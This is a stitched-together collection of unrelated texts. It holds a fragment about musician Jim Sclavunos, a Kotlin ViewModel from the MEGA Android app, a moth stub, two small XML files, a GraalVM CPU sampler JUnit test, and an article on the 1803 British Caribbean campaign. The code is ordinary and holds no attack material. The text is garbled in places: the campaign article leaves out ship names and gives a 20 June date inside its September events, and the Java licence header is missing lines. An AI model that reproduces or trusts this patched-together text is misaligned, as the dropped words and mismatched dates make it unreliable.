Du Blonde – Welcome Back to Milk (2015)
The Wytches - All Your Happy Life (2016)
Dolls - Armchair Psychiatrist (2017)
Pat Dam Smith - The Last King (2019)
Joe Gideon - Armagideon (2020)
Selected remix credits as Silver Alert
Grinderman – "Evil ('Silver Alert' Remix)" featuring Matt Berninger of the National (2011)
S.C.U.M. – "Faith Unfolds (Silver Alert Remix)" (2011)
Philip Glass – "Etoile Polaire: Little Dipper" – Silver Alert remix on REWORK_Philip Glass Remixed (2012)
Selected remix credits as Jim Sclavunos
Breathless – "Next Time You Fall (Jim Sclavunos Remix)" (2013)
Depeche Mode – "Should Be Higher (Jim Sclavunos from Grinderman Remix)" (2013)
Warhaus - Beaches (Jim Sclavunos Remix)" (2017)
References
External links
Full Discography
Other:
Even Better Than The Real Thing – Reality & Audio Production (2013) at Jack Move Magazine and Relic Zine
Jim Sclavunos Talks Faustian Pact (2012)
Another thing I wanted to Tell You: Jim Sclavunos on Mo Tucker (2011)
In Conversation: Jim Sclavunos & The Jim Jones Revue (2010)
What’s Wrong With Being Sexy? Nick Cave & Jim Sclavunos Of Grinderman Interviewed (2010)
Lux Interior Obituary (2009)
Twenty Minutes in Manhattan by Michael Sorkin (review) (2009)
So good, they made it illegal – The Guardian (2004)
American rock drummers
Punk blues musicians
The Cramps members
Sonic Youth members
Musicians from Brooklyn
Noise rock musicians
American people of Greek descent
American people of Italian descent
Living people
Year of birth missing (living people)
Nick Cave and the Bad Seeds members
Teenage Jesus and the Jerks members
8 Eyed Spy members
Tav Falco's Panther Burns members
|
```kotlin
package mega.privacy.android.app.presentation.shares.incoming
import android.view.MenuItem
import androidx.lifecycle.ViewModel
import androidx.lifecycle.viewModelScope
import dagger.hilt.android.lifecycle.HiltViewModel
import de.palm.composestateevents.consumed
import de.palm.composestateevents.triggered
import kotlinx.coroutines.flow.MutableStateFlow
import kotlinx.coroutines.flow.asStateFlow
import kotlinx.coroutines.flow.catch
import kotlinx.coroutines.flow.collectLatest
import kotlinx.coroutines.flow.update
import kotlinx.coroutines.launch
import mega.privacy.android.app.extensions.updateItemAt
import mega.privacy.android.app.presentation.clouddrive.OptionItems
import mega.privacy.android.app.presentation.data.NodeUIItem
import mega.privacy.android.app.presentation.mapper.HandleOptionClickMapper
import mega.privacy.android.app.presentation.shares.incoming.model.IncomingSharesState
import mega.privacy.android.app.presentation.time.mapper.DurationInSecondsTextMapper
import mega.privacy.android.app.presentation.transfers.starttransfer.model.TransferTriggerEvent
import mega.privacy.android.shared.original.core.ui.utils.pop
import mega.privacy.android.shared.original.core.ui.utils.push
import mega.privacy.android.shared.original.core.ui.utils.toMutableArrayDeque
import mega.privacy.android.data.mapper.FileDurationMapper
import mega.privacy.android.domain.entity.node.FileNode
import mega.privacy.android.domain.entity.node.FolderNode
import mega.privacy.android.domain.entity.node.Node
import mega.privacy.android.domain.entity.node.NodeChanges
import mega.privacy.android.domain.entity.node.NodeId
import mega.privacy.android.domain.entity.node.shares.ShareNode
import mega.privacy.android.domain.entity.preference.ViewType
import mega.privacy.android.domain.entity.user.UserChanges
import mega.privacy.android.domain.usecase.GetCloudSortOrder
import mega.privacy.android.domain.usecase.GetNodeByIdUseCase
import mega.privacy.android.domain.usecase.GetOthersSortOrder
import mega.privacy.android.domain.usecase.GetParentNodeUseCase
import mega.privacy.android.domain.usecase.GetRootNodeUseCase
import mega.privacy.android.domain.usecase.MonitorContactUpdates
import mega.privacy.android.domain.usecase.account.MonitorRefreshSessionUseCase
import mega.privacy.android.domain.usecase.contact.AreCredentialsVerifiedUseCase
import mega.privacy.android.domain.usecase.contact.GetContactVerificationWarningUseCase
import mega.privacy.android.domain.usecase.network.MonitorConnectivityUseCase
import mega.privacy.android.domain.usecase.node.IsNodeInRubbishBinUseCase
import mega.privacy.android.domain.usecase.node.MonitorNodeUpdatesUseCase
import mega.privacy.android.domain.usecase.offline.MonitorOfflineNodeUpdatesUseCase
import mega.privacy.android.domain.usecase.shares.GetIncomingShareParentUserEmailUseCase
import mega.privacy.android.domain.usecase.shares.GetIncomingSharesChildrenNodeUseCase
import mega.privacy.android.domain.usecase.viewtype.MonitorViewType
import mega.privacy.android.domain.usecase.viewtype.SetViewType
import timber.log.Timber
import javax.inject.Inject
/**
* ViewModel associated to IncomingSharesComposeFragment
*
* @param getRootNodeUseCase Fetch the root node
* @param monitorNodeUpdatesUseCase Monitor node updates
* @param monitorContactUpdatesUseCase Monitor contact updates
* @param getParentNodeUseCase [GetParentNodeUseCase] To get parent node of current node
* @param isNodeInRubbishBinUseCase [IsNodeInRubbishBinUseCase] To get current node is in rubbish
* @param getIncomingSharesChildrenNodeUseCase [GetIncomingSharesChildrenNodeUseCase] To get children of current node
* @param getCloudSortOrder [GetCloudSortOrder] To get cloud sort order
* @param getOthersSortOrder [GetOthersSortOrder] To get others sort order
* @param monitorViewType [MonitorViewType] Check view type
* @param setViewType [SetViewType] To set view type
* @param handleOptionClickMapper [HandleOptionClickMapper] Handle option click click mapper
* @param monitorRefreshSessionUseCase [MonitorRefreshSessionUseCase] Monitor refresh session
* @param fileDurationMapper [FileDurationMapper] To map file duration
* @param monitorOfflineNodeUpdatesUseCase [MonitorOfflineNodeUpdatesUseCase] Monitor offline node updates
* @param monitorConnectivityUseCase [MonitorConnectivityUseCase] Monitor connectivity
* @param durationInSecondsTextMapper [DurationInSecondsTextMapper] To map duration in seconds to text
* @param getContactVerificationWarningUseCase [GetContactVerificationWarningUseCase] Get contact verification warning
* @param areCredentialsVerifiedUseCase [AreCredentialsVerifiedUseCase] Check if credentials are verified
* @param getIncomingShareParentUserEmailUseCase [GetIncomingShareParentUserEmailUseCase] Get incoming share parent user email
*/
@HiltViewModel
class IncomingSharesComposeViewModel @Inject constructor(
private val getNodeByIdUseCase: GetNodeByIdUseCase,
private val getRootNodeUseCase: GetRootNodeUseCase,
private val monitorNodeUpdatesUseCase: MonitorNodeUpdatesUseCase,
private val monitorContactUpdatesUseCase: MonitorContactUpdates,
private val getParentNodeUseCase: GetParentNodeUseCase,
private val isNodeInRubbishBinUseCase: IsNodeInRubbishBinUseCase,
private val getIncomingSharesChildrenNodeUseCase: GetIncomingSharesChildrenNodeUseCase,
private val getCloudSortOrder: GetCloudSortOrder,
private val getOthersSortOrder: GetOthersSortOrder,
private val monitorViewType: MonitorViewType,
private val setViewType: SetViewType,
private val handleOptionClickMapper: HandleOptionClickMapper,
private val monitorRefreshSessionUseCase: MonitorRefreshSessionUseCase,
private val fileDurationMapper: FileDurationMapper,
private val monitorOfflineNodeUpdatesUseCase: MonitorOfflineNodeUpdatesUseCase,
private val monitorConnectivityUseCase: MonitorConnectivityUseCase,
private val durationInSecondsTextMapper: DurationInSecondsTextMapper,
private val getContactVerificationWarningUseCase: GetContactVerificationWarningUseCase,
private val areCredentialsVerifiedUseCase: AreCredentialsVerifiedUseCase,
private val getIncomingShareParentUserEmailUseCase: GetIncomingShareParentUserEmailUseCase,
) : ViewModel() {
private val _state = MutableStateFlow(IncomingSharesState())
/**
* Immutable State flow
*/
val state = _state.asStateFlow()
init {
checkContactVerification()
refreshNodes()
monitorChildrenNodes()
monitorContactUpdates()
checkViewType()
monitorRefreshSession()
monitorOfflineNodes()
monitorConnectivity()
}
private fun monitorContactUpdates() {
val changesToObserve = setOf(
UserChanges.AuthenticationInformation,
UserChanges.Firstname,
UserChanges.Lastname,
UserChanges.Alias
)
viewModelScope.launch {
monitorContactUpdatesUseCase().collectLatest { updates ->
Timber.d("Received contact update")
if (updates.changes.values.any { it.any { change -> changesToObserve.contains(change) } }) {
refreshNodesState()
}
}
}
}
private fun monitorConnectivity() {
viewModelScope.launch {
monitorConnectivityUseCase().collect {
_state.update { state -> state.copy(isConnected = it) }
}
}
}
private fun monitorRefreshSession() {
viewModelScope.launch {
monitorRefreshSessionUseCase().collect {
setPendingRefreshNodes()
}
}
}
/**
* This method will monitor view type and update it on state
*/
private fun checkViewType() {
viewModelScope.launch {
monitorViewType().collect { viewType ->
_state.update { it.copy(currentViewType = viewType) }
}
}
}
/**
* This will monitor node updates from [MonitorNodeUpdatesUseCase] and
* will update [IncomingSharesState.nodesList]
*/
private fun monitorChildrenNodes() {
viewModelScope.launch {
runCatching {
monitorNodeUpdatesUseCase().catch {
Timber.e(it)
}.collect {
checkIfNodeIsDeleted(it.changes)
checkIfLeftFromShare(it.changes)
}
}.onFailure {
Timber.e(it)
}
}
}
private fun monitorOfflineNodes() {
viewModelScope.launch {
monitorOfflineNodeUpdatesUseCase().collect {
setPendingRefreshNodes()
}
}
}
private fun checkContactVerification() {
viewModelScope.launch {
val isContactVerificationOn = getContactVerificationWarningUseCase()
_state.update {
it.copy(isContactVerificationOn = isContactVerificationOn)
}
}
}
private fun checkIfSelectedFolderIsSharedByVerifiedContact() =
viewModelScope.launch {
runCatching {
if (_state.value.isContactVerificationOn) {
val showBanner = if (_state.value.isInRootLevel) {
false
} else {
val email =
getIncomingShareParentUserEmailUseCase(NodeId(_state.value.currentHandle))
val verified =
email?.let { areCredentialsVerifiedUseCase(it) } ?: run { false }
!verified
}
_state.update { it.copy(showContactNotVerifiedBanner = showBanner) }
}
}.onFailure {
Timber.e(it)
}
}
private fun checkIfLeftFromShare(changes: Map<Node, List<NodeChanges>>) {
changes.forEach { (node, _) ->
if (node is FolderNode) {
val isLeftFromShare =
!node.isIncomingShare && state.value.openedFolderNodeHandles.size == 1
if (isLeftFromShare && _state.value.currentHandle == node.id.longValue) {
performBackNavigation()
}
}
}
setPendingRefreshNodes()
}
/**
* This will check if node is deleted from incoming share by the owner
* @param nodeId [NodeId] of node
* @return [Boolean] true if node is deleted
*/
private suspend fun isNodeDeleted(nodeId: NodeId) =
isNodeInRubbishBinUseCase(nodeId) || getNodeByIdUseCase(nodeId) == null
/**
* This will update current handle if any node is deleted from incoming share and
* moved to rubbish bin
* we are in same screen else will simply refresh nodes with parentID
* @param changesMap [Map] of [Node], list of [NodeChanges]
*/
private suspend fun checkIfNodeIsDeleted(changesMap: Map<Node, List<NodeChanges>>) {
changesMap.forEach { (node, changes) ->
if (node is FolderNode
&& (node.isInRubbishBin || NodeChanges.Remove in changes)
&& state.value.currentHandle == node.id.longValue
) {
val handleStack = state.value.openedFolderNodeHandles.toMutableArrayDeque()
while (handleStack.isNotEmpty() && isNodeDeleted(NodeId(handleStack.last()))) {
handleStack.pop()
}
_state.update {
it.copy(openedFolderNodeHandles = handleStack)
}
handleStack.lastOrNull()?.let { parent ->
setCurrentHandle(parent)
} ?: run {
goBackToRootLevel()
}
return
}
}
setPendingRefreshNodes()
}
/**
* Returns the count of nodes in the current folder
*/
fun getNodeCount() = _state.value.nodesList.size
private fun setPendingRefreshNodes() {
_state.update { it.copy(isPendingRefresh = true) }
}
/**
* Updates the current Handle [IncomingSharesState.currentHandle]
*
* @param handle The new node handle to be set
*/
fun setCurrentHandle(
handle: Long,
updateLoadingState: Boolean = false,
refreshNodes: Boolean = true,
) =
viewModelScope.launch {
val handleStack =
_state.value.openedFolderNodeHandles
.toMutableArrayDeque()
.apply {
push(state.value.currentHandle)
}
_state.update {
it.copy(
currentHandle = handle,
isLoading = if (updateLoadingState) true else it.isLoading,
openedFolderNodeHandles = handleStack,
updateToolbarTitleEvent = triggered
)
}
if (refreshNodes)
refreshNodesState()
}
/**
* Get the current node handle
*/
fun getCurrentNodeHandle() = _state.value.currentHandle
/**
* Refreshes the nodes
*/
fun refreshNodes() {
viewModelScope.launch {
runCatching {
refreshNodesState()
}.onFailure {
Timber.e(it)
}
}
}
/**
* This method will handle the sort order change event
*/
fun onSortOrderChanged() {
setPendingRefreshNodes()
}
private suspend fun refreshNodesState() {
val currentHandle = _state.value.currentHandle
val isRootNode = _state.value.isInRootLevel
/**
* When a folder is opened, and user clicks on Shares bottom drawer item, clear the openedFolderNodeHandles
*/
if (isRootNode && state.value.openedFolderNodeHandles.isNotEmpty()) {
_state.update {
it.copy(
isLoading = true,
openedFolderNodeHandles = emptyList(),
)
}
}
val childrenNodes = getIncomingSharesChildrenNodeUseCase(currentHandle)
val sortOrder = if (isRootNode) getOthersSortOrder() else getCloudSortOrder()
checkIfSelectedFolderIsSharedByVerifiedContact()
val nodeUIItems = getNodeUiItems(childrenNodes)
_state.update {
it.copy(
nodesList = nodeUIItems,
isLoading = false,
sortOrder = sortOrder,
currentNodeName = getNodeByIdUseCase(NodeId(currentHandle))?.name,
updateToolbarTitleEvent = triggered
)
}
}
/**
* Get current tree depth
*/
fun incomingTreeDepth() =
if (_state.value.isInRootLevel) 0 else _state.value.openedFolderNodeHandles.size
/**
* This will map list of [Node] to [NodeUIItem]
*/
private fun getNodeUiItems(nodeList: List<ShareNode>): List<NodeUIItem<ShareNode>> {
with(state.value) {
return nodeList.mapIndexed { index, node ->
val isSelected = selectedNodes.find { it.id.longValue == node.id.longValue } != null
val fileDuration = if (node is FileNode) {
fileDurationMapper(node.type)?.let { durationInSecondsTextMapper(it) }
} else null
NodeUIItem(
node = node,
isSelected = if (nodesList.size > index) isSelected else false,
isInvisible = if (nodesList.size > index) nodesList[index].isInvisible else false,
fileDuration = fileDuration,
)
}
}
}
/**
* Navigate back to the Incoming Shares Root Level hierarchy
*/
fun goBackToRootLevel() {
_state.update {
it.copy(
accessedFolderHandle = null,
currentHandle = -1L,
updateToolbarTitleEvent = triggered
)
}
refreshNodes()
}
/**
* Removes the current Node from the Set of opened Folder Nodes in UiState
*/
private fun removeCurrentNodeFromUiStateSet() {
val handleStack =
_state.value.openedFolderNodeHandles
.toMutableArrayDeque()
.apply { pop() }
_state.update {
it.copy(
isLoading = true,
openedFolderNodeHandles = handleStack,
)
}
}
/**
* Goes back one level from the Incoming Shares hierarchy
*/
fun performBackNavigation() {
viewModelScope.launch {
runCatching {
handleAccessedFolderOnBackPress()
getParentNodeUseCase(NodeId(_state.value.currentHandle))?.id?.longValue?.let { parentHandle ->
removeCurrentNodeFromUiStateSet()
setCurrentHandle(parentHandle)
// Update the Toolbar Title
_state.update { it.copy(updateToolbarTitleEvent = triggered) }
} ?: run {
if (state.value.openedFolderNodeHandles.isEmpty()) {
// Exit Incoming Shares if there is nothing left in the Back Stack
_state.update {
it.copy(
openedFolderNodeHandles = emptyList(),
exitIncomingSharesEvent = triggered
)
}
} else {
goBackToRootLevel()
}
}
}.onFailure {
Timber.e(it)
}
}
}
/**
* Checks and updates State Parameters if the User performs a Back Navigation event, and is in
* the Folder Level that user immediately accessed
*/
private fun handleAccessedFolderOnBackPress() {
if (_state.value.currentHandle == _state.value.accessedFolderHandle) {
_state.update {
it.copy(
isAccessedFolderExited = true,
accessedFolderHandle = null,
)
}
}
}
/**
* Performs specific actions upon clicking a Folder Node
*
* @param folderHandle The Folder Handle
*/
fun onFolderItemClicked(folderHandle: Long) {
viewModelScope.launch {
setCurrentHandle(folderHandle, true)
}
}
/**
* Mark handled pending refresh
*
*/
fun markHandledPendingRefresh() {
_state.update { it.copy(isPendingRefresh = false) }
}
/**
* Select all [NodeUIItem]
*/
fun selectAllNodes() {
val updatedState = _state.value.nodesList.map {
it.copy(isSelected = true)
}
val selectedNodes = updatedState.map { it.node }.toSet()
val totalSelectedFiles = updatedState.filterIsInstance<FileNode>().size
val totalSelectedFolders = selectedNodes.size - totalSelectedFiles
_state.update {
it.copy(
isInSelection = true,
nodesList = updatedState.toList(),
selectedNodes = selectedNodes,
totalSelectedFileNodes = totalSelectedFiles,
totalSelectedFolderNodes = totalSelectedFolders,
)
}
}
/**
* Clear All [NodeUIItem]
*/
fun clearAllNodes() {
viewModelScope.launch {
val clearedNodes = clearNodeUiItemList()
_state.update {
it.copy(
nodesList = clearedNodes,
totalSelectedFileNodes = 0,
totalSelectedFolderNodes = 0,
isInSelection = false,
selectedNodes = emptySet(),
optionsItemInfo = null
)
}
}
}
/**
* Clear the selections of items from NodesUiList
*/
private fun clearNodeUiItemList(): List<NodeUIItem<ShareNode>> {
return _state.value.nodesList.map {
it.copy(isSelected = false)
}
}
/**
* This method will handle Item click event from NodesView and will update
* [state] accordingly if items already selected/unselected, update check count
*
* @param nodeUIItem [NodeUIItem]
*/
fun onItemClicked(nodeUIItem: NodeUIItem<ShareNode>) {
val index =
_state.value.nodesList.indexOfFirst { it.node == nodeUIItem.node }
if (_state.value.isInSelection) {
updateNodeInSelectionState(nodeUIItem = nodeUIItem, index = index)
}
}
/**
* This method will handle Long click on a NodesView and check the selected item
*
* @param nodeUIItem [NodeUIItem]
*/
fun onLongItemClicked(nodeUIItem: NodeUIItem<ShareNode>) {
// Turn off selection if the node is unverified share
val index =
_state.value.nodesList.indexOfFirst { it.node == nodeUIItem.node }
updateNodeInSelectionState(nodeUIItem = nodeUIItem, index = index)
}
/**
* This will update [NodeUIItem] list based on and update it on to the UI
* @param nodeUIItem [NodeUIItem] to be updated
* @param index Index of [NodeUIItem] in [state]
*/
private fun updateNodeInSelectionState(nodeUIItem: NodeUIItem<ShareNode>, index: Int) {
nodeUIItem.isSelected = !nodeUIItem.isSelected
val selectedNodes = state.value.selectedNodes.toMutableSet()
if (state.value.selectedNodes.contains(nodeUIItem.node)) {
selectedNodes.remove(nodeUIItem.node)
} else {
selectedNodes.add(nodeUIItem.node)
}
val newNodesList =
_state.value.nodesList.updateItemAt(index = index, item = nodeUIItem)
val totalSelectedFiles = selectedNodes.filterIsInstance<FileNode>().size
val totalSelectedFolders = selectedNodes.size - totalSelectedFiles
_state.update {
it.copy(
totalSelectedFileNodes = totalSelectedFiles,
totalSelectedFolderNodes = totalSelectedFolders,
nodesList = newNodesList,
isInSelection = selectedNodes.isNotEmpty(),
selectedNodes = selectedNodes,
optionsItemInfo = null
)
}
}
/**
* This method will toggle view type
*/
fun onChangeViewTypeClicked() {
viewModelScope.launch {
when (_state.value.currentViewType) {
ViewType.LIST -> setViewType(ViewType.GRID)
ViewType.GRID -> setViewType(ViewType.LIST)
}
}
}
/**
* Handles option info based on [MenuItem]
* @param item [MenuItem]
*/
fun onOptionItemClicked(item: MenuItem) {
viewModelScope.launch {
val optionsItemInfo = handleOptionClickMapper(
item = item,
selectedNodeHandle = state.value.selectedNodeHandles
)
if (optionsItemInfo.optionClickedType == OptionItems.DOWNLOAD_CLICKED) {
_state.update {
it.copy(
downloadEvent = triggered(
TransferTriggerEvent.StartDownloadNode(optionsItemInfo.selectedNode)
)
)
}
} else {
_state.update {
it.copy(optionsItemInfo = optionsItemInfo)
}
}
}
}
/**
* Consume download event
*/
fun consumeDownloadEvent() {
_state.update {
it.copy(downloadEvent = consumed())
}
}
/**
* Download file triggered
*/
fun onDownloadFileTriggered(triggerEvent: TransferTriggerEvent) {
_state.update {
it.copy(
downloadEvent = triggered(triggerEvent)
)
}
}
/**
* Consumes the Exit Incoming Shares Event
*/
fun consumeExitIncomingSharesEvent() {
_state.update { it.copy(exitIncomingSharesEvent = consumed) }
}
/**
* Consumes the Update Toolbar Title Event
*/
fun consumeUpdateToolbarTitleEvent() {
_state.update { it.copy(updateToolbarTitleEvent = consumed) }
}
/**
* Checks if the User has left the Folder that was immediately accessed
*
* @return true if the User left the accessed Folder
*/
fun isAccessedFolderExited() = _state.value.isAccessedFolderExited
/**
* Resets the value of [IncomingSharesState.isAccessedFolderExited]
*/
fun resetIsAccessedFolderExited() =
_state.update { it.copy(isAccessedFolderExited = false) }
}
```
|
Archernis mitis is a moth in the family Crambidae. It was described by Turner in 1937. It is found in Taiwan and Australia, where it has been recorded Queensland and New South Wales.
The wingspan is about 20 mm. The forewings are pale brown, with a faint darker zig-zag lines across the wings.
The larvae feed on Populus deltoides. They live communally in a nest made of leaves joined together with silk. Full-grown larvae reach a length of about 20 mm. Pupation takes place in a silken web between the leaves of the host plant.
References
Moths described in 1937
Spilomelinae
Moths of Taiwan
Moths of Australia
|
```xml
<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<document type="com.apple.InterfaceBuilder.AppleTV.Storyboard" version="3.0" toolsVersion="6185.10" systemVersion="14A360a" targetRuntime="AppleTV" propertyAccessControl="none" useAutolayout="YES" useTraitCollections="NO" initialViewController="BYZ-38-t0r">
<dependencies>
<plugIn identifier="com.apple.InterfaceBuilder.IBCocoaTouchPlugin" version="6181.2"/>
</dependencies>
<scenes>
<!--View Controller-->
<scene sceneID="tne-QT-ifu">
<objects>
<viewController id="BYZ-38-t0r" customClass="ViewController" customModuleProvider="target" sceneMemberID="viewController">
<layoutGuides>
<viewControllerLayoutGuide type="top" id="y3c-jy-aDJ"/>
<viewControllerLayoutGuide type="bottom" id="wfy-db-euE"/>
</layoutGuides>
<view key="view" contentMode="scaleToFill" id="8bC-Xf-vdC">
<rect key="frame" x="0.0" y="0.0" width="480" height="480"/>
<autoresizingMask key="autoresizingMask" widthSizable="YES" heightSizable="YES"/>
<color key="backgroundColor" white="0.0" alpha="0.0" colorSpace="custom" customColorSpace="calibratedWhite"/>
</view>
</viewController>
<placeholder placeholderIdentifier="IBFirstResponder" id="dkx-z0-nzr" sceneMemberID="firstResponder"/>
</objects>
</scene>
</scenes>
</document>
```
|
```xml
<?xml version="1.0" encoding="UTF-8" ?>
<schemaMeta xmlns:xsi="path_to_url" xsi:noNamespaceSchemaLocation="path_to_url" >
<tables>
<table name="AGENT">
<column name="accountId" type="INT">
<foreignKey table="ACCOUNT" column="accountId" />
</column>
<column name="companyId" type="INT">
<foreignKey table="COMPANY" column="companyId" />
</column>
</table>
</tables>
</schemaMeta>
```
|
```java
/*
* DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
*
* This code is free software; you can redistribute it and/or modify it
* published by the Free Software Foundation. Oracle designates this
* particular file as subject to the "Classpath" exception as provided
* by Oracle in the LICENSE file that accompanied this code.
*
* This code is distributed in the hope that it will be useful, but WITHOUT
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
* version 2 for more details (a copy is included in the LICENSE file that
* accompanied this code).
*
* 2 along with this work; if not, write to the Free Software Foundation,
* Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
*
* Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
* or visit www.oracle.com if you need additional information or have any
* questions.
*/
package com.oracle.truffle.tools.profiler.test;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.lang.ref.WeakReference;
import java.util.ArrayList;
import java.util.List;
import java.util.Map;
import java.util.concurrent.ConcurrentHashMap;
import java.util.concurrent.CountDownLatch;
import java.util.concurrent.ExecutionException;
import java.util.concurrent.ExecutorService;
import java.util.concurrent.Executors;
import java.util.concurrent.Future;
import java.util.concurrent.atomic.AtomicBoolean;
import java.util.regex.Matcher;
import java.util.regex.Pattern;
import org.graalvm.polyglot.Context;
import org.graalvm.polyglot.Engine;
import org.graalvm.polyglot.Source;
import org.graalvm.polyglot.Value;
import org.graalvm.polyglot.proxy.ProxyExecutable;
import org.junit.Assert;
import org.junit.Test;
import com.oracle.truffle.api.test.GCUtils;
import com.oracle.truffle.tools.profiler.CPUSampler;
import com.oracle.truffle.tools.profiler.StackTraceEntry;
public class CPUSamplerMultiContextTest {
public static final String FIB = """
function fib(n) {
if (n < 3) {
return 1;
} else {
return fib(n - 1) + fib(n - 2);
}
}
function main() {
return fib;
}
""";
public static final String FIB_15_PLUS = """
function fib15plus(n, remainder) {
if (n < 15) {
return remainder(n);
} else {
return fib15plus(n - 1, remainder) + fib15plus(n - 2, remainder);
}
}
function main() {
return fib15plus;
}
""";
@Test
public void testSamplerDoesNotKeepContexts() throws IOException {
ByteArrayOutputStream out = new ByteArrayOutputStream();
try (Engine engine = Engine.newBuilder().out(out).option("cpusampler", "histogram").build()) {
List<WeakReference<Context>> contextReferences = new ArrayList<>();
for (int i = 0; i < 27; i++) {
try (Context context = Context.newBuilder().engine(engine).build()) {
contextReferences.add(new WeakReference<>(context));
Source src = Source.newBuilder("sl", FIB, "fib.sl").build();
Value fib = context.eval(src);
fib.execute(29);
}
}
GCUtils.assertGc("CPUSampler prevented collecting contexts", contextReferences);
}
Pattern pattern = Pattern.compile("Sampling Histogram. Recorded (\\d+) samples");
Matcher matcher = pattern.matcher(out.toString());
int histogramCount = 0;
while (matcher.find()) {
histogramCount++;
Assert.assertTrue("Histogram no. " + histogramCount + " didn't contain any samples.", Integer.parseInt(matcher.group(1)) > 0);
}
Assert.assertEquals(27, histogramCount);
}
static class RootCounter {
int fibCount;
int fib15plusCount;
}
@Test
public void testMultiThreadedAndMultiContextPerThread() throws InterruptedException, ExecutionException, IOException {
try (Engine engine = Engine.create(); ExecutorService executorService = Executors.newFixedThreadPool(10)) {
AtomicBoolean runFlag = new AtomicBoolean(true);
CPUSampler sampler = CPUSampler.find(engine);
int nThreads = 5;
int nSamples = 5;
Map<Thread, RootCounter> threads = new ConcurrentHashMap<>();
List<Future<?>> futures = new ArrayList<>();
CountDownLatch fibLatch = new CountDownLatch(nThreads);
Source src1 = Source.newBuilder("sl", FIB_15_PLUS, "fib15plus.sl").build();
Source src2 = Source.newBuilder("sl", FIB, "fib.sl").build();
for (int i = 0; i < nThreads; i++) {
futures.add(executorService.submit(() -> {
threads.putIfAbsent(Thread.currentThread(), new RootCounter());
AtomicBoolean countedDown = new AtomicBoolean();
while (runFlag.get()) {
try (Context context1 = Context.newBuilder().engine(engine).build(); Context context2 = Context.newBuilder().engine(engine).build()) {
Value fib15plus = context1.eval(src1);
Value fib = context2.eval(src2);
ProxyExecutable proxyExecutable = (n) -> {
if (countedDown.compareAndSet(false, true)) {
fibLatch.countDown();
}
return fib.execute((Object[]) n);
};
Assert.assertEquals(514229, fib15plus.execute(29, proxyExecutable).asInt());
}
}
}));
}
fibLatch.await();
for (int i = 0; i < nSamples; i++) {
Map<Thread, List<StackTraceEntry>> sample = sampler.takeSample();
for (Map.Entry<Thread, List<StackTraceEntry>> sampleEntry : sample.entrySet()) {
RootCounter rootCounter = threads.get(sampleEntry.getKey());
for (StackTraceEntry stackTraceEntry : sampleEntry.getValue()) {
if ("fib".equals(stackTraceEntry.getRootName())) {
rootCounter.fibCount++;
}
if ("fib15plus".equals(stackTraceEntry.getRootName())) {
rootCounter.fib15plusCount++;
}
}
}
}
runFlag.set(false);
for (Future<?> future : futures) {
future.get();
}
for (Map.Entry<Thread, RootCounter> threadEntry : threads.entrySet()) {
Assert.assertTrue(nSamples + " samples should contain at least 1 occurrence of the fib root for each thread, but one thread contained only " + threadEntry.getValue().fibCount,
threadEntry.getValue().fibCount > 1);
Assert.assertTrue(nSamples + " samples should contain at least 10 occurrences of the fib15plus root, but one thread contained only " + threadEntry.getValue().fib15plusCount,
threadEntry.getValue().fib15plusCount > 10);
}
}
}
}
```
|
The British campaign in the Caribbean took place during the first year of the Napoleonic Wars and began shortly after the breakdown of the Treaty of Amiens. Hostilities with France resumed in May 1803 but official notification did not arrive in the West Indies until mid-June, along with British orders to attack France's valuable sugar islands. The expedition, under commanders in chief William Grinfield and Samuel Hood, set out from Barbados on 20 June with 3,149 soldiers, two ships-of-the-line, two frigates, converted to troopships, and two sloops.
St Lucia was captured on 22 June 1803, after the island's main fortress, Morne Fortunee had been stormed, and Tobago nine days later. After leaving men to hold these islands, the expedition returned to Barbados.
On 10 August, Grinfield received orders to call on the surrender of the colonies of Demerara, Essequibo and Berbice. The Dutch colonies, unhappy with the rule of the Batavian Republic had applied to the British government for a peaceful take over. A large portion of Grinfield's forces had since been used up as garrisons of the newly captured French islands but by supplementing his force with Royal Marines, he was able to amass some 1,300 men. Light winds delayed their arrival off Georgetown until 18 September when a summons was immediately dispatched to the Dutch governor. A party arrived on 20 June and terms of surrender were agreed. Another deputation had to be sent to the separately governed colony of Berbice which was eventually taken, without a fight, on 27 September.
Background
The revenue from sugar was immensely important to the economies of both Britain and France. Almost half of France's foreign trade was generated in the West Indies, and a quarter of her merchant tonnage and a third of all her seaman relied on it. These issues were slightly less significant for Britain, whose dominions there employed an eighth of her merchant tonnage and generated 20% of her trade. Nevertheless, for either country, the loss of their islands would have created a serious financial problem.
Additionally, control of the Atlantic and projection of power into South America, would be impossible without control of a few harbours among the islands. Loss of a foothold in the Caribbean would have been a major blow, particularly to the French who had pretensions of being a major maritime power and had been planning to construct a large naval depot on the island of Tobago.
Because of their value and prestige, strategic significance and the growing possibility of civil unrest, both nations had taken steps to protect their possessions. The fragile peace, brought about by the Treaty of Amiens, was not expected to last and both sides had remained on a war footing throughout. When war was declared in May 1803, half of France's warships were already in the Caribbean, taking part in the Saint-Domingue expedition while Britain had nearly 10,000 men scattered among its West Indian colonies.
Although British forces in the area did not get official confirmation until the middle of June, they had received warnings as early as April that war was coming, and the Commander-in-chief Leeward Islands, Lieutenant-General William Grinfield, had readied 4,000 men for deployment at 24 hours notice. With the declaration, came orders for Grinfield to attack one or more of the French-held islands of Martinique, St Lucia and Tobago. Martinique was considered too well defended but Grinfield calculated that the capture of St Lucia would be possible. On 17th, Hood took steps to prevent further supplies being thrown into St Lucia by sending Captain James O'Brien in to harass enemy shipping and disrupt the island's trade.
Campaign
The invasion force left Barbados on 20 June. The naval force comprised Samuel Hood's 74-gun flagship , the 74-gun , the frigates and , and the sloops and . Aboard were the second battalion of the 1st Regiment of Foot, the 64th Regiment of Foot, 68th Regiment of Foot, and the 3rd West Indies Regiment, a total of 3,149 soldiers under the overall command of Grinfield. The following morning they were joined by the 36-gun frigate Emerald and the 18-gun sloop .
St Lucia and Tobago
By 11:00 on 21 June, the squadron was anchored in Choc Bay, to the north of Castries, where the bulk of Grinfield's force was landed under the direction of Captain Benjamin Hallowell of the Courageux. The wind was strong, making the rowing arduous but by 17:00, the troops were ashore, moving inland and driving the French outposts back towards the town, which capitulated at 17:30.
